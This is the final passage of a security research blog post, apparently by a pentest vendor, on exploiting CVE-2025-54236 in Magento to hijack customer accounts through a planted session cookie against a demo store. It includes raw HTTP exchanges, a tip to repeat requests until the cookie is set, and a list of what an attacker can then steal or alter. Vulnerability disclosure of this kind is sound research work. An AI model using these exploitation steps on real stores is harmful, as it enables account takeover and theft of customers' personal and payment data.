Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Set-Cookie: PHPSESSID=ptt; expires=Mon, 20 Oct 2025 21:14:21 GMT; Max-Age=3600; path=/; domain=magentodemo.pentest-ground.com; secure; HttpOnly; SameSite=Lax
Cache-Control: no-store
<?xml version="1.0"?>
<response>
<message>Invalid state change requested</message>
<trace>***TRUNCATED***</trace>
</response>
Note: If the Set-Cookie: PHPSESSID=ptt header is missing from the response, repeat the request until it appears (we saw this behaviour happen before and usually use a Burp Intruder -> Null Payload attack or a simple Python script to repeat the request until the Cookie is created).
Authenticate as victim
With the exploit successful, we can now impersonate the user by using the above malicious cookie on non-API endpoints.
From here, the attacker has full control over the impersonated customer, being able to perform attacks such as:
Exfiltrating sensitive information related to the user’s orders, shipping and payment address, email and phone number, etc.
Modifying or cancelling orders
Or performing other actions available on the site as the impersonated user.
Request:
GET /customer/account HTTP/2
Host: magentodemo.pentest-ground.com
Cookie: PHPSESSID=pttResponse:
HTTP/2 200 OK
Server: nginx/1.24.0
Date: Mon, 20 Oct 2025 20:16:31 GMT
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
X-Powered-By: PHP/8.3.16
Set-Cookie: PHPSESSID=ptt; expires=Mon, 20 Oct 2025 21:16:31 GMT; Max-Age=3600; path=/; domain=magentodemo.pentest-ground.com; secure; HttpOnly; SameSite=Lax
Set-Cookie: X-Magento-Vary=f2cb7f4b105848a53a63b347dc709902210b22b15188c0c416f3a7d36cbff071; expires=Mon, 20 Oct 2025 21:16:31 GMT; Max-Age=3600; path=/; secure; HttpOnly; SameSite=Lax
X-Magento-Cache-Control: max-age=0, must-revalidate, no-cache, no-store
X-Magento-Cache-Debug: MISS
X-Magento-Tags: FPC
***TRUNCATED***
<title>My Account</title>
***TRUNCATED***
<span>Contact Information</span>
</strong>
<div class="box-content">
<p>
Olivia Bennett<br>
contact+1@pentest-tools.com<br>
</p>
</div>
***TRUNCATED***Browser view:

The exploit - automation
If manual testing is not your thing, then don’t worry - we got you covered!
We automated this exploit and included it into our product and, if you are a customer, then you too can use our Sniper module to automagically test for and exploit this vulnerability.

Here’s what a Sniper: Auto-Exploiter report looks like for CVE-2025-54236:


To wrap it up
Perseverance pays off - during our research we often found ourselves in rabbit holes (maybe more about that in a future blog post) or wondering if we’re on the right track. Keeping at it and pushing through everyday helped us find the successful exploit chain in the end. So, if your spidey-senses tell you that you’re close, and, even better, if even the rational objective data supports your theory - don’t give up!
Automate the tedious work (sometimes it's not optional) - When auditing big codebases, such as Magento’s, manually auditing the code won’t always do the trick. Don’t be afraid to start scripting in your favorite language, or search for tools that might do the job for you.
Finally, security controls are only as strong as their weakest link. Magento had security controls in place specifically to prevent these types of attacks, but a single, overlooked flaw was enough to bypass them. A single setter method in a normally safe-to-call Proxy object allowed us to take over customer’s accounts.
And with this our joy ride into exploiting Magento officially comes to an end. Please make sure your limbs are still attached to your body and we hope you enjoyed the ride!
The Pentest-Tools.com research team wishes you happy exploiting and/or to stay safe! See you soon with more security research insights.






